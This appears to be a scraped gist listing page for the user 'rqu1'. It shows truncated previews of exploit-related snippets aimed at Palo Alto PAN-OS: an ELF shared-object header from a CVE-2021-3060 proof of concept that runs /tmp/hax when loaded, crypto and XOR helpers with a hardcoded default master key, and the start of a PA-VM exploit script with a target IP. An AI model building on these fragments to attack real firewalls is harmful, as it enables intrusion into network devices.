rqu1

      ╔═══════════════════════════════════════════════════════════════╗
      ║ badlib.xx -- a tiny ELF shared object by rqu                  ║
      ║ This will exec() /tmp/hax when dlopen()'d or loaded           ║
      ║ Originally released in binary form for my CVE-2021-3060 POC:  ║
      ║ https://gist.github.com/rqu1/8ed4f51fd90dd82fc89111340e26a756 ║
      ║ build the binary with https://github.com/netspooky/xx         ║
      ╚═══════════════════════════════════════════════════════════════╝
┌───────────┬───────────────────┬───────────────┬──────────────┬─────────────┐
│ Data      │  ELF header       │ PHDR          │ Code         │ Dynamic     │
├───────────┼───────────────────┼───────────────┼──────────────┼─────────────┤

rqu1

import paramiko
import sys
import requests

pad=lambda n: '\0'*(n+1)+(chr(16-n)*(16-n-1))
block_xor=lambda x,y: ''.join(chr(ord(a)^ord(b)) for a,b in zip(x,y))
byte_xor=lambda x,y,z: x[:y]+chr(ord(x[y])^z)+x[y+1:]
set_pad=lambda x,n: block_xor(pad(n), x)

def formatData(d):

rqu1

from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
import sys, time
import requests

DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'

class PanCrypt():

rqu1

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

rqu1

def bit(x,n): return (x>>n)&1

def bit_slice(x,msb,lsb): return (x&((2<<msb)-1))>>lsb

def bv2i(*args):
    o=0
    for i in args: o=(o<<1)|i
    return o

def fa(x): return bit(0x3a35acc5,x)

rqu1

#!/usr/bin/env python2
import urllib2
import struct

# Constants
ip_addr= '172.31.21.2'

# PA-VM
# 8.0
scep_offset=24